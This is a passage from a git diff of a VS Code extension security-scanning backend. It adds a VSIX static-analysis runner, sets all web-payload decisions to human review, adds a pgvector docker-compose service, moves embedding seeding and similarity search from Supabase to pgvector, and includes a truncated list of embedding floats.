from vscode_analysis import decision as decision_mod + from vscode_analysis.manifest_scan import scan_manifest + from vscode_analysis.code_scan import scan_sources + from vscode_analysis.rules import PUBLISHER_WHITELIST + + +SOURCE_EXT = re.compile(r"\.(js|ts|cjs|mjs)$", re.IGNORECASE) +# 시크릿(X 룰)은 더 넓은 파일을 대상으로 (카탈로그 X 룰: .json/.map/.md 등 포함) +SECRET_EXT = re.compile(r"\.(js|ts|cjs|mjs|json|map|md|env)$", re.IGNORECASE) +MAX_FILE_BYTES = 5 * 1024 * 1024 # 파일당 5MB 상한 (zip bomb/거대 번들 방어) + + +def _error_result(message: str) -> Dict[str, Any]: + empty = {"critical": 0, "high": 0, "medium": 0, "low": 0} + return { + "program_name": "unknown", + "program_version": "unknown", + "program_type": "vscode-extension", + "reputation_targets": [], + "summary": { + "scan_result": empty, + "overall_severity": "LOW", + "finding_count": 0, + "scanners": {}, + }, + "findings": [], + "scan_result": empty, + "enabled_scanners": ["vscode_manifest_scan", "vscode_code_scan"], + "status": "error", + "error": message, + "decision": decision_mod.decide(empty, status="error"), + } + + +def _read_manifest(zf: zipfile.ZipFile) -> Dict[str, Any]: + try: + raw = zf.read("extension/package.json") + except KeyError: + return {} + try: + return json.loads(raw.decode("utf-8", errors="replace")) + except (json.JSONDecodeError, ValueError): + return {} + + +def _collect_sources(zf: zipfile.ZipFile) -> List[Dict[str, Any]]: + entries: List[Dict[str, Any]] = [] + for info in zf.infolist(): + name = info.filename + if info.is_dir(): + continue + if not (SOURCE_EXT.search(name) or SECRET_EXT.search(name)): + continue + if info.file_size > MAX_FILE_BYTES: + continue + try: + raw = zf.read(name) + except (KeyError, zipfile.BadZipFile, OSError): + continue + entries.append({ + "file_name": name, + "content": raw.decode("utf-8", errors="replace"), + }) + return entries + + +def run_vscode_static_analysis(vsix_path: str) -> Dict[str, Any]: + try: + zf = zipfile.ZipFile(vsix_path) + except (zipfile.BadZipFile, FileNotFoundError, OSError) as exc: + return _error_result(f"VSIX 열기 실패: {exc}") + + try: + with zf: + manifest = _read_manifest(zf) + sources = _collect_sources(zf) + except (zipfile.BadZipFile, OSError) as exc: + return _error_result(f"VSIX 해제 실패: {exc}") + + findings: List[Dict[str, Any]] = [] + severity_counts: Counter = Counter() + + m_findings, m_counts = scan_manifest(manifest) + findings.extend(m_findings) + severity_counts.update(m_counts) + + publisher = str(manifest.get("publisher", "")).lower() + whitelisted = publisher in PUBLISHER_WHITELIST + c_findings, c_counts = scan_sources(sources, publisher_whitelisted=whitelisted) + findings.extend(c_findings) + severity_counts.update(c_counts) + + meta = summarize_findings(findings, severity_counts) + scan_result = meta["scan_result"] + + return { + "program_name": manifest.get("name", "unknown"), + "program_version": manifest.get("version", "unknown"), + "program_type": "vscode-extension", + "reputation_targets": [], + "summary": { + **meta, + "scanners": { + "vscode_manifest_scan": {"finding_count": len(m_findings)}, + "vscode_code_scan": { + "finding_count": len(c_findings), + "source_files_scanned": len(sources), + }, + }, + }, + "findings": findings, + "scan_result": scan_result, + "enabled_scanners": ["vscode_manifest_scan", "vscode_code_scan"], + "status": "ok", + "decision": decision_mod.decide(scan_result, status="ok"), + } diff --git a/backend/web_payload.py b/backend/web_payload.py index 41021253..0b84d98c 100644 --- a/backend/web_payload.py +++ b/backend/web_payload.py @@ -309,7 +309,7 @@ def summarize_rag_result(rag_fingerprint_result: dict, rag_rerank_result: dict) def infer_recommended_decision(payload: dict) -> str: overall = _safe_dict(payload.get("overall")) weighted_decision = str(overall.get("recommended_decision", "")).strip().lower() - if weighted_decision in {"approve", "review", "reject"}: + if weighted_decision in {"review", "reject"}: return weighted_decision overall = _safe_dict(payload.get("overall")) @@ -333,7 +333,7 @@ def infer_recommended_decision(payload: dict) -> str: if risk == "UNKNOWN" or error_count >= 2: return "review" - return "approve" + return "review" def _build_review_fields(payload: dict) -> tuple[list[str], list[str], list[str]]: @@ -467,7 +467,7 @@ def build_web_payload( "overall": { "risk_level": overall_level, "risk_score": overall_score, - "recommended_decision": weighted_decision if weighted_decision in {"approve", "review"} else "review", + "recommended_decision": "review", "decision_reason": weighted_reason, "summary": _clip_text( _safe_dict(dynamic_result.get("final_risk") if isinstance(dynamic_result, dict) else {}).get("reason") @@ -504,20 +504,15 @@ def build_web_payload( final_decision = str(decision).strip().lower() if decision else inferred if final_decision == "reject": final_decision = "review" - if final_decision not in {"approve", "review"}: - final_decision = inferred - if final_decision == "reject": + if final_decision != "review": final_decision = "review" payload["overall"]["recommended_decision"] = final_decision if not payload["overall"].get("decision_reason"): - payload["overall"]["decision_reason"] = { - "review": "Some risk indicators or analysis uncertainty require human validation.", - "approve": "No significant risk indicators were detected in the summarized analyses.", - }[final_decision] + payload["overall"]["decision_reason"] = "ExtS3 policy determines final approval from the scan risk result." review_reasons, blockers, actions = _build_review_fields(payload) - payload["review"]["needs_human_review"] = final_decision != "approve" + payload["review"]["needs_human_review"] = True payload["review"]["review_reasons"] = review_reasons payload["review"]["approval_blockers"] = blockers payload["review"]["recommended_actions"] = actions diff --git a/docker-compose.pgvector.yml b/docker-compose.pgvector.yml new file mode 100644 index 00000000..41869451 --- /dev/null +++ b/docker-compose.pgvector.yml @@ -0,0 +1,20 @@ +services: + vector-db: + image: pgvector/pgvector:pg16 + container_name: suppressor-vector-db + environment: + POSTGRES_USER: "${PGVECTOR_DB_USER:-vector_db_user}" + POSTGRES_PASSWORD: "${PGVECTOR_DB_PASSWORD:-vector_db_password}" + POSTGRES_DB: "${PGVECTOR_DB_NAME:-vector_db}" + ports: + - "${PGVECTOR_DB_PUBLISHED_PORT:-5433}:5432" + volumes: + - suppressor_vector_db_data:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U ${PGVECTOR_DB_USER:-vector_db_user} -d ${PGVECTOR_DB_NAME:-vector_db}"] + interval: 10s + timeout: 5s + retries: 5 + +volumes: + suppressor_vector_db_data: diff --git a/embedding/.DS_Store b/embedding/.DS_Store deleted file mode 100644 index 308b0805af3c40a12b73268157930921d0cde986..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8196 zcmeHMy-yTD6n}G|?13MP9*Rbjjn|k+@I<09#(16>MPncwK@f1=y&aC#y_w7I!ij|B zYE3LGEiC;5tSD_PZ7pp42P~{?_07it$46mfG|nV5zqd2*H?#9Q-p;-S07z*mxB$=( z02Wq(b`LhY6frL9j*`(m-G~JF02T1CE&>I2hqvi43K#{90!9I&fKlLYPyo+tQLH`A zeKl%YqkvK1zf?dx9~`U#iyE5><)Z@|nF1hoVz(@4V;&$mj>e+Krb0=@IaT&RG?nNS zgD5(VJHj2YsIjR~(SayB5WO{LMH?md{TyHJOfw*1{4 zjd;b6xQ`wps7hD|f69WE2zei~{RHSXzxR9j`HiHm=UeydQJAEK!e^4{=-juz%j&Xv ztoiaHZ%^3^>D=hS%1zR$u=7)d}}$RAc;w+!+x4kb#5h zdZT@b*2ccW%Cg=M`PACaSKDswDBIn0;NYRdcJGm+y}91LzP@9}`%j!adCIkq`d;N} zH5PYzlSe!*MN4!#tZ-HipVR4-K1+q++DEqeP0--cX4m9O9er|}9dfSQF{Ny_8i&Ey z!a_pR=`Hq*YadQ3F^{5go`h-0+00ymB9ErDHp&(_uDFZ>kJZIcGDYJAaR+C5#*1T* zRcUEuKJt7Tjj<9>Q(hCEVm92!cud7ia_w^6tAwnYzy4jxm@kgEjI+wHA+HR47tOUS zjU@lUZ%TWTaYnP*eDR(hvfv!tfV)t}4^9nu1#jRTtiwn60^i^V=_JR<8FG#clWXKU zxkE1 z|A%&DZq+DY6!={QNasj-M7-Y1Q+*e list[float]: - """ - Ollama bge-m3 모델을 사용하여 텍스트 임베딩 추출 - """ embed_url = os.environ.get("OLLAMA_EMBED_URL", "http://localhost:11434/api/embed") legacy_embed_url = os.environ.get("OLLAMA_EMBED_LEGACY_URL", "http://localhost:11434/api/embeddings") model = os.environ.get("EMBEDDING_MODEL", "bge-m3") @@ -58,74 +45,38 @@ def embed_full_text(text: str) -> list[float]: if isinstance(legacy_vector, list): return legacy_vector - raise RuntimeError("지원하지 않는 Ollama embedding 응답 타입") - - except Exception as e: - print(f"❌ 임베딩 추출 중 오류 발생: {e}") + raise RuntimeError("unsupported Ollama embedding response") + except Exception as exc: + print(f"[pgvector] embedding failed: {exc}") return [] def load_base_json(file_path: Path) -> dict[str, Any]: - """ - base/*.json 파일 로드 - 지원 형식: - - 1. wrapper 형식: - { - "pattern_name": "...", - "doc_ref": "scenario_docs/....md", - "vector_fingerprint": {...} - } - - 2. vector_fingerprint만 들어있는 형식: - { - "manifest_profile": {...}, - "capability_profile": [...], - ... - } - """ with file_path.open("r", encoding="utf-8") as f: data = json.load(f) - if not isinstance(data, dict): - raise ValueError("JSON 최상위 구조는 object(dict)여야 합니다.") - + raise ValueError("base JSON root must be an object") return data def normalize_base_record(file_path: Path, data: dict[str, Any]) -> dict[str, Any]: - """ - base JSON을 Vector DB 저장용 표준 payload로 변환한다. - - 반환 형식: - { - "pattern_name": "...", - "doc_ref": "scenario_docs/....md", - "vector_fingerprint": {...} - } - """ file_stem = file_path.stem - # wrapper 형식이면 vector_fingerprint 필드를 사용 if isinstance(data.get("vector_fingerprint"), dict): pattern_name = data.get("pattern_name") or file_stem doc_ref = data.get("doc_ref") or f"scenario_docs/{pattern_name}.md" vector_fingerprint = data["vector_fingerprint"] - - # raw fingerprint 형식이면 파일명 기반으로 wrapper 생성 else: pattern_name = data.get("pattern_name") or file_stem doc_ref = data.get("doc_ref") or f"scenario_docs/{pattern_name}.md" vector_fingerprint = data if not isinstance(pattern_name, str) or not pattern_name.strip(): - raise ValueError("pattern_name이 비어 있습니다.") - + raise ValueError("pattern_name is empty") if not isinstance(doc_ref, str) or not doc_ref.strip(): - raise ValueError("doc_ref가 비어 있습니다.") - + raise ValueError("doc_ref is empty") if not isinstance(vector_fingerprint, dict) or not vector_fingerprint: - raise ValueError("vector_fingerprint가 비어 있거나 dict가 아닙니다.") + raise ValueError("vector_fingerprint is empty or invalid") required_keys = [ "manifest_profile", @@ -134,10 +85,9 @@ def normalize_base_record(file_path: Path, data: dict[str, Any]) -> dict[str, An "predicted_flows", "behavior_tags", ] - missing = [key for key in required_keys if key not in vector_fingerprint] if missing: - raise ValueError(f"vector_fingerprint 필수 키 누락: {missing}") + raise ValueError(f"vector_fingerprint missing required keys: {missing}") return { "pattern_name": pattern_name, @@ -147,11 +97,6 @@ def normalize_base_record(file_path: Path, data: dict[str, Any]) -> dict[str, An def build_embedding_text(vector_fingerprint: dict[str, Any]) -> str: - """ - 실제 임베딩에 사용할 텍스트. - pattern_name/doc_ref까지 섞으면 유사도에 불필요한 영향을 줄 수 있으므로 - vector_fingerprint만 임베딩한다. - """ return json.dumps( vector_fingerprint, ensure_ascii=False, @@ -161,128 +106,77 @@ def build_embedding_text(vector_fingerprint: dict[str, Any]) -> str: def build_document_payload(record: dict[str, Any]) -> str: - """ - DB document 컬럼에 저장할 JSON 문자열. - - compareDB/rerank 단계에서 이 값을 json.loads해서 - payload.pattern_name, payload.doc_ref, payload.vector_fingerprint로 복구한다. - """ payload = { "pattern_name": record["pattern_name"], "doc_ref": record["doc_ref"], "vector_fingerprint": record["vector_fingerprint"], } - - return json.dumps( - payload, - ensure_ascii=False, - sort_keys=True, - ) + return json.dumps(payload, ensure_ascii=False, sort_keys=True) def validate_doc_ref_exists(project_root: Path, doc_ref: str) -> bool: - """ - scenario_docs 문서가 실제 존재하는지 확인. - 없다고 저장을 막지는 않고 경고만 출력한다. - """ - doc_path = project_root / doc_ref - return doc_path.exists() + return (project_root / doc_ref).exists() def store_all_knowledge_base() -> None: project_root = Path(__file__).resolve().parent - - # 이 스크립트가 embedding/ 안에 있고 base도 embedding/base라면 이 경로가 맞음 base_dir = project_root / "base" - - # 만약 base가 프로젝트 루트/base에 있다면 fallback if not base_dir.exists(): alt_base_dir = project_root.parent / "base" if alt_base_dir.exists(): base_dir = alt_base_dir if not base_dir.exists(): - print(f"❌ base 폴더를 찾을 수 없습니다: {base_dir}") + print(f"[pgvector] base directory not found: {base_dir}") return json_files = sorted(base_dir.glob("*.json")) - if not json_files: - print("💡 처리할 JSON 파일이 없습니다.") + print("[pgvector] no base JSON files found") return - print(f"🚀 총 {len(json_files)}개의 base JSON 처리를 시작합니다.") - print(f"📁 base_dir = {base_dir}") - + print(f"[pgvector] seeding {len(json_files)} base scenario embeddings from {base_dir}") success_count = 0 fail_count = 0 for index, file_path in enumerate(json_files, start=1): - print("\n" + "=" * 80) - print(f"🔄 [{index}/{len(json_files)}] {file_path.name} 처리 시작") - try: raw_data = load_base_json(file_path) record = normalize_base_record(file_path, raw_data) - - pattern_name = record["pattern_name"] doc_ref = record["doc_ref"] vector_fingerprint = record["vector_fingerprint"] - print(f" pattern_name: {pattern_name}") - print(f" doc_ref: {doc_ref}") - print(f" vector_fingerprint keys: {list(vector_fingerprint.keys())}") - if not validate_doc_ref_exists(project_root.parent, doc_ref) and not validate_doc_ref_exists(project_root, doc_ref): - print(f" ⚠️ scenario doc 파일을 찾지 못했습니다: {doc_ref}") - print(" ⚠️ DB 저장은 계속하지만, Dynamic RAG 실행 시 doc_ref 로드가 실패할 수 있습니다.") + print(f"[pgvector] warning: scenario doc not found for {record['pattern_name']}: {doc_ref}") - # 1. 임베딩은 vector_fingerprint만 사용 - embedding_text = build_embedding_text(vector_fingerprint) + vector = embed_fingerprint(vector_fingerprint) + if not vector: + raise RuntimeError("embedding vector generation failed") - print(" 🧠 임베딩 생성 중...") - vector = embed_full_text(embedding_text) + document_payload = build_document_payload(record) + insert_vector_record(document_payload, vector) + success_count += 1 + print(f"[pgvector] seeded {index}/{len(json_files)}: {record['pattern_name']} dim={len(vector)}") + except Exception as exc: + fail_count += 1 + print(f"[pgvector] failed to seed {file_path.name}: {exc}") - if not vector: - raise RuntimeError("embedding vector 생성 실패") + print(f"[pgvector] seed complete: success={success_count} fail={fail_count}") - print(f" ✅ 임베딩 생성 완료: dim={len(vector)}") - # 2. document에는 pattern_name/doc_ref/vector_fingerprint wrapper JSON 저장 - document_payload = build_document_payload(record) +def ensure_knowledge_base_seeded() -> None: + try: + existing_count = count_vectors() + except Exception as exc: + print(f"[pgvector] knowledge base check failed: {exc}") + return - insert_data = { - "document": document_payload, - "embedding": vector, - } - - # 현재 테이블 구조가 document, embedding만 있다고 가정 - # pattern_name/doc_ref 컬럼이 따로 있다면 아래 주석을 해제하고 테이블 컬럼도 맞춰야 함 - # - # insert_data = { - # "document": document_payload, - # "pattern_name": pattern_name, - # "doc_ref": doc_ref, - # "embedding": vector, - # } - - try: - response = supabase.table("es3_vector").insert(insert_data).execute() - print(f" ✅ DB 저장 완료: {pattern_name}") - success_count += 1 - - except Exception as db_e: - print(f" ❌ DB 저장 중 오류 발생: {db_e}") - fail_count += 1 - - except Exception as e: - print(f"❌ {file_path.name} 처리 중 오류 발생: {e}") - fail_count += 1 + if existing_count > 0: + print(f"[pgvector] knowledge base already loaded: {existing_count} vectors") + return - print("\n" + "=" * 80) - print("📌 Vector DB seed 완료") - print(f"✅ 성공: {success_count}") - print(f"❌ 실패: {fail_count}") + print("[pgvector] knowledge base is empty; creating embeddings from embedding/base") + store_all_knowledge_base() if __name__ == "__main__": diff --git a/embedding/compare.py b/embedding/compare.py index c598f9a8..9d62faaa 100644 --- a/embedding/compare.py +++ b/embedding/compare.py @@ -1,7 +1,10 @@ import json import os + from dotenv import load_dotenv +from embedding.pgvector_store import search_vectors + load_dotenv() FALLBACK_PATTERN_NAME = "session_storage_exfiltration_document_start" @@ -47,13 +50,11 @@ def _unwrap_document_payload(document_obj, row): elif _is_probably_fingerprint(document_obj): vf = document_obj - # nested wrapper: {"vector_fingerprint": {"pattern_name":..,"doc_ref":..,"vector_fingerprint": {...}}} if isinstance(vf, dict) and "vector_fingerprint" in vf: pattern_name = vf.get("pattern_name") or pattern_name doc_ref = vf.get("doc_ref") or doc_ref vf = vf.get("vector_fingerprint") - # if still wrapper-like, keep unwrapping once more defensively if isinstance(vf, dict) and "vector_fingerprint" in vf: vf = vf.get("vector_fingerprint") @@ -61,18 +62,11 @@ def _unwrap_document_payload(document_obj, row): vf = None if not isinstance(pattern_name, str) or not pattern_name.strip(): - # row id가 문자열이면 fallback name으로 사용 rid = row.get("id") - if isinstance(rid, str) and rid.strip(): - pattern_name = rid.strip() - else: - pattern_name = FALLBACK_PATTERN_NAME + pattern_name = rid.strip() if isinstance(rid, str) and rid.strip() else FALLBACK_PATTERN_NAME if not isinstance(doc_ref, str) or not doc_ref.strip(): - if pattern_name and pattern_name != FALLBACK_PATTERN_NAME: - doc_ref = f"scenario_docs/{pattern_name}.md" - else: - doc_ref = FALLBACK_DOC_REF + doc_ref = f"scenario_docs/{pattern_name}.md" if pattern_name != FALLBACK_PATTERN_NAME else FALLBACK_DOC_REF return pattern_name, doc_ref, vf @@ -122,62 +116,25 @@ def normalize_compare_result_rows(results: list[dict]) -> list[dict]: def compareDB(embedding_vector: list[float]): - """ - 임베딩 벡터를 받아 DB와 비교하고, 결과를 터미널에 출력한 뒤 데이터를 반환합니다. - """ - url: str = os.environ.get("SUPABASE_URL") - key: str = os.environ.get("DB_KEY") - - if not url or not key: - print("❌ Supabase 설정이 누락되었습니다.") - return [] - try: - from supabase import create_client - except Exception: - print("❌ supabase 패키지가 설치되어 있지 않습니다.") - return [] - - supabase = create_client(url, key) - - try: - # 1. Supabase RPC 호출 (모든 유사도를 보기 위해 threshold=0 설정) - response = supabase.rpc( - 'search_fingerprints', - { - 'query_embedding': embedding_vector, - 'match_threshold': 0, - 'match_count': 10 # 상위 10개 정도 출력 - } - ).execute() - - results = response.data if response.data else [] + results = search_vectors( + embedding_vector, + match_threshold=float(os.environ.get("PGVECTOR_MATCH_THRESHOLD", "0")), + match_count=int(os.environ.get("PGVECTOR_MATCH_COUNT", "10")), + ) normalized_results = normalize_compare_result_rows(results) - # 2. 유사도 리포트 출력 로직 - print("\n" + "="*65) - print(f"📊 보안 분석 유사도 리포트 (검색된 지식 베이스: {len(normalized_results)}건)") + print("\n" + "=" * 65) + print(f"[pgvector] Vector similarity search result: {len(normalized_results)} rows") print("-" * 65) - print(f"{'순위':<4} | {'상태':<2} | {'유사도 점수':<10} | {'데이터 ID (UUID)'}") + print(f"{'rank':<4} | {'score':<10} | {'id'}") print("-" * 65) + for i, res in enumerate(normalized_results, start=1): + score_pct = float(res.get("score", 0.0)) * 100 + print(f"{i:2d} | {score_pct:8.2f}% | {res.get('id')}") + print("=" * 65 + "\n") - if not normalized_results: - print(" 매칭되는 데이터가 DB에 존재하지 않습니다.") - else: - for i, res in enumerate(normalized_results): - score_pct = float(res.get("score", 0.0)) * 100 - match_id = res.get("id") - - # 유사도에 따른 상태 아이콘 설정 - status = "🔥" if score_pct > 80 else "🔍" if score_pct > 50 else "❔" - - print(f"{i+1:2d} | {status} | {score_pct:8.2f}% | {match_id}") - - print("="*65 + "\n") - - # 3. rerank 친화 정규화 결과 반환 return normalized_results - - except Exception as e: - print(f"❌ DB 비교 중 오류 발생: {e}") + except Exception as exc: + print(f"[pgvector] vector search failed: {exc}") return [] diff --git a/embedding/embedding.json b/embedding/embedding.json index fd770e18..1630249e 100644 --- a/embedding/embedding.json +++ b/embedding/embedding.json @@ -1,1026 +1,1026 @@ [ - -0.033072673, - 0.008053351, - -0.0123405, - 0.0075775627, - -0.02972947, - -0.007855554, - 0.041945573, - 0.061755523, - 0.0104616, - 0.009157345, - -0.022492101, - -0.0018968344, - -0.014067461, - -0.0003201291, - 0.00619418, - -0.008087326, - 0.007446949, - 0.011492072, - -0.0026637395, - 0.012042916, - -0.022443905, - -4.6463974e-05, - 0.021458475, - 0.024770183, - -0.029288862, - 0.03601339, - -0.02534129, - -0.070267275, - -0.01883758, - 0.028633943, - -0.011528301, - -0.033411313, - 0.033368647, - 0.009480935, - -0.020188851, - -0.023733586, - -0.014325776, - -0.025313538, - -0.08061967, - -0.004696911, - -0.025737716, - 0.014187636, - 0.006057661, - -0.03865592, - 0.008263091, - -0.022367962, - -0.006559542, - -0.034680795, - -0.004468311, - -0.061682414, - -0.026673399, - -0.009151383, - -0.01572716, - -0.023117892, - 0.031709358, - 0.027429868, - -0.035172824, - -0.008932491, - -0.054996327, - 0.015682578, - -0.055502396, - -0.016095288, - -0.02185974, - 0.0018280377, - 0.020045593, - 0.027230082, - 0.03177783, - -0.0015155276, - -0.0149601335, - -0.037059523, - -0.00068773096, - 0.022949697, - -0.025724439, - -0.010458818, - -0.05611611, - 0.023217648, - 0.012882968, - -0.041579515, - 0.004995535, - 0.007324225, - -0.012687064, - 0.0020853064, - 0.0611943, - -0.006257695, - -0.004320408, - 0.029775484, - -0.02005643, - 0.04235708, - 0.053432032, - 0.01833122, - -0.016004011, - -0.017539252, - 0.06166534, - -0.03967383, - -0.02996196, - 0.012360811, - 0.011117258, - -0.0039457646, - 0.05633339, - -0.0015387196, - -0.014232003, - -0.00023557185, - 0.022889426, - 0.0025995572, - 0.035418622, - 0.042332202, - 0.0016218825, - -0.008198211, - 0.020405248, - -0.011597401, - -0.019070562, - 0.035548843, - 0.047022853, - 0.018259257, - -0.012806271, - -0.052568622, - -0.0016972285, - -0.028477183, - -0.02820111, - 0.0016003374, - 0.03611621, - 0.05570862, - 0.038700365, - -0.02995442, - 0.028976712, - 0.018677544, - 0.031350184, - 0.02884109, - -0.005436552, - 0.03870153, - 0.004425679, - 0.02835612, - -0.01242339, - -0.018102422, - -0.072975256, - -0.01601899, - -0.0034818703, - 0.059545543, - 0.040106002, - -0.043043077, - 0.027711678, - 0.010062497, - -0.036986608, - -0.022633748, - 0.031233845, - -0.08267348, - 0.029424265, - 0.031335045, - -0.007660443, - -0.064452514, - 0.013280652, - 0.025389578, - 0.046699107, - 0.037183426, - -0.017173456, - -0.085342824, - 0.014948056, - 0.007894329, - 0.05185976, - -0.006835241, - -0.023892418, - 0.0007029137, - -0.03949673, - 0.036990546, - 0.03125916, - 0.0022892705, - 0.0034602655, - -0.0075447997, - -0.0527254, - -0.0032372647, - 0.046634205, - -0.033024598, - -0.014835279, - 0.015522826, - -0.00096271414, - -0.004959114, - 0.071435496, - 0.029176189, - 0.00038747123, - -0.038077507, - -0.04373071, - 0.0036220537, - -0.019960301, - -0.01974564, - -0.020538054, - 0.030557046, - -0.01856229, - 0.003710228, - -0.029352441, - 0.02157252, - 0.010661479, - -0.005535416, - 0.020982472, - 0.010050739, - -0.05725521, - -0.026171945, - 0.02183847, - -0.012573444, - 0.012386049, - -0.019831086, - 0.013738139, - 0.041868154, - 0.050743036, - -0.0088799605, - -0.037400454, - -0.014264628, - 0.0008517317, - -0.035631098, - -0.019404162, - -0.011454416, - 0.0043585533, - 0.0144143775, - 0.013854851, - -0.0022630906, - -0.021946955, - -0.014059227, - 0.00657194, - 0.006004819, - 0.014370599, - -0.029455215, - 0.0020893805, - 0.0071831075, - 0.015159732, - -0.007588539, - 0.00795973, - 9.288514e-05, - 0.010500417, - 0.0147982, - -0.047296327, - 0.010370044, - -0.039019473, - 0.038317524, - 0.024208793, - -0.0040800255, - 0.034992345, - -0.054925714, - 0.016617015, - 0.03572595, - 0.03214357, - -0.01959359, - 0.04581171, - -0.057118405, - 0.016426863, - -0.0073769316, - -0.028242616, - -0.00838136, - 0.0028700426, - 0.040199026, - -0.046565574, - -0.032632604, - -0.027376318, - 0.005374645, - -0.04490927, - 0.0005964111, - 0.013642494, - 0.0038803988, - 0.004691739, - 0.023699084, - 0.00065499597, - 0.023204278, - -0.008024435, - 0.019659452, - 0.025493026, - 0.032971736, - 0.036953356, - -0.0069939126, - -0.018525435, - -0.018500572, - 0.014152616, - 0.023126388, - 0.007983575, - -0.014745858, - 0.045591716, - -0.03780851, - 0.014230252, - 0.018377889, - -0.009252395, - 0.00630511, - 0.06562596, - 0.041411996, - -0.000537638, - 0.021713093, - 0.036790963, - 0.028495153, - 0.036634773, - 0.01911804, - -0.029062029, - -0.0065920297, - -0.002265116, - -0.024099046, - -0.032683738, - 0.024822738, - 0.061990075, - -0.034418203, - 0.034855016, - 0.016219422, - -0.02680063, - -0.17012738, - 0.016083894, - 0.018561991, - 0.009263319, - 0.019607542, - -0.00710963, - -0.013745394, - -0.034122, - -0.036060803, - 0.04778404, - -0.047741372, - -0.056392204, - -0.027283419, - -0.020387908, - 0.048537105, - 0.019024795, - 0.0072656195, - 0.011850056, - -0.028916216, - -0.008512552, - -0.04795116, - 0.01562098, - 0.016594952, - 0.0022636186, - -0.0061030434, - -0.00036864926, - 0.03012009, - -0.020345641, - -0.0007805052, - 0.020753274, - 0.0004002973, - 0.006862247, - 0.00034718533, - 0.018128535, - -0.011967224, - 0.0034856796, - -0.0046892455, - -0.007042929, - -0.0047928877, - -0.021657443, - 0.0218964, - 0.06856125, - -0.003193591, - 0.019006807, - 0.013482659, - -0.015659854, - -0.0025969213, - -0.03453391, - -0.05480875, - -0.036452983, - -0.03142928, - -0.021180293, - -0.020660996, - 0.03969698, - -0.072001, - 0.009709178, - 0.0031340993, - 0.04227593, - 0.034348935, - 0.018584872, - 0.018603457, - -0.027728738, - 0.032382596, - -0.0580725, - 0.010994564, - -0.010602159, - 0.048133142, - -0.020179627, - 0.0073491675, - -0.041516718, - 0.025437225, - -0.034877416, - 0.03607919, - 0.03228116, - 0.0036673043, - 0.009294385, - -0.023759427, - -0.023694383, - 0.004893114, - -0.11188066, - 0.013551186, - 0.0128680905, - 0.02250201, - 0.0015213036, - -0.039513923, - -0.07012554, - 0.012562293, - -0.038263254, - 0.033124223, - 0.27591693, - 0.0056788465, - -0.011065701, - 0.048447434, - 0.032028392, - -0.017529596, - -0.012063213, - 0.063201755, - -0.016953768, - -0.018297387, - 0.012894872, - 0.03872891, - 0.028470717, - -0.0011109947, - 0.034934133, - 0.022102414, - -0.049367227, - 0.016653694, - 0.06526194, - -0.010224863, - 0.0019360075, - -0.024460431, - 0.030765971, - 0.012047238, - -0.031779077, - -0.030670483, - -0.0021257289, - 0.004943745, - 0.010875365, - 0.05881463, - -0.016524041, - 0.024531605, - 0.037056968, - -0.030593442, - -0.058034945, - 0.0031098903, - 0.035416983, - 0.0060152747, - -0.03291989, - 0.010690688, - -0.012055192, - -0.011876755, - -0.032087233, - -0.0006875653, - -0.020695837, - -0.011442587, - -0.03888196, - -0.019086108, - -0.04557891, - 0.00890837, - 0.032521077, - 0.0006527377, - 0.013039854, - -0.031948723, - 0.013617449, - -0.030769804, - -0.005421121, - -0.008254554, - -0.0033758122, - 0.020373745, - 0.011922994, - 0.014752545, - -0.037901174, - 0.010398362, - -0.05241014, - -0.012222143, - 0.007247057, - 0.010056792, - 0.036422495, - 0.02893834, - 0.019022467, - 0.022036169, - -0.0019660646, - 0.01998555, - 0.025782224, - 0.02103129, - 0.0631856, - 0.020228969, - -0.03517681, - -0.0019501789, - -0.03576168, - -0.04050202, - -0.017496029, - -0.012009265, - -0.016609617, - -0.0017907541, - -0.009644024, - 0.067932695, - 0.015515733, - 0.0044155545, - -0.009552481, - 0.0070068724, - -0.015028336, - 0.08492238, - -0.03571952, - 0.022595033, - 0.031849675, - -0.028556058, - -0.03260237, - -0.009579713, - -0.035143092, - -0.04538058, - -0.0073160892, - -0.004581247, - 0.01179961, - 0.02926985, - -0.016101616, - 0.019703858, - -0.034821983, - 0.024445295, - -0.06385259, - 0.01979516, - 0.030282127, - -0.008811294, - -0.017785806, - 0.084893025, - 0.024322985, - 0.021298718, - 0.06548164, - 0.01603634, - -0.02902842, - 0.013003355, - 0.012807432, - 0.031878103, - -0.030684752, - -0.0466144, - -0.031102888, - 0.02780222, - -0.030221961, - 0.03893734, - 0.0038407673, - -0.028853485, - 0.0018752092, - 0.04173984, - 0.047062963, - -0.003825145, - 0.03409822, - 0.0019337925, - 0.014360392, - 0.023310913, - -0.018471897, - -0.0029478406, - -0.013228646, - 0.01480102, - 0.00377248, - 0.045036364, - -0.04390888, - 0.0031155527, - 0.010802815, - 0.039548904, - 0.013030633, - 0.08440343, - 0.044977028, - -0.013407591, - -0.004199457, - -0.04057878, - -0.02790713, - 0.007127793, - 0.01806582, - 0.0023527066, - -0.0033702988, - -0.027870528, - 0.020654708, - 0.018071596, - -0.022624204, - 0.020471739, - 0.025361344, - 0.03599748, - -0.032216743, - -0.0025670833, - -0.012807573, - -0.046793412, - -0.029710148, - 0.047646124, - -0.010272509, - 0.037386063, - -0.025168758, - -0.03605202, - -0.036566168, - -0.009330985, - -0.0028837384, - -0.009624336, - -0.0306514, - -0.03041059, - 0.029049864, - -0.02626461, - 0.015749982, - -0.0018684922, - 0.0060776235, - -0.04157583, - -0.024370162, - 0.12903033, - 0.01326119, - -0.012328498, - 0.016769795, - 0.0033414913, - 0.0718964, - -0.012331165, - 0.022735277, - 0.0035113806, - 0.0064189946, - 0.009062868, - 0.006604537, - -0.008844891, - -0.0071326704, - -0.013382885, - 0.008745074, - -0.0006446646, - -0.034277987, - -0.030515447, - 0.021446731, - 0.008911433, - -0.029421424, - 0.027881045, - 0.020739086, - -0.03845487, - 0.03286912, - 0.07238743, - 0.03701929, - -0.033170965, - 0.011333568, - -0.028195364, - -0.02124112, - -0.042362347, - -0.014702278, - 0.009544871, - 0.013168107, - -0.031375144, - -0.004122791, - -0.0075839562, - -0.0076218355, - -0.013875853, - 0.040233202, - -0.052614, - -0.017688988, - -0.03847465, - 0.009294305, - 0.023400402, - 0.011745924, - -0.021055292, - 0.035653103, - -0.025329143, - 0.018510237, - 0.047138862, - 0.02343343, - 0.023054475, - -0.06941529, - 0.019324891, - 0.018534653, - 0.012279873, - -0.049090676, - 0.0034396227, - -0.015349287, - -0.0715633, - 0.01985127, - 0.011087942, - 0.015718471, - -0.003979374, - -0.056186955, - 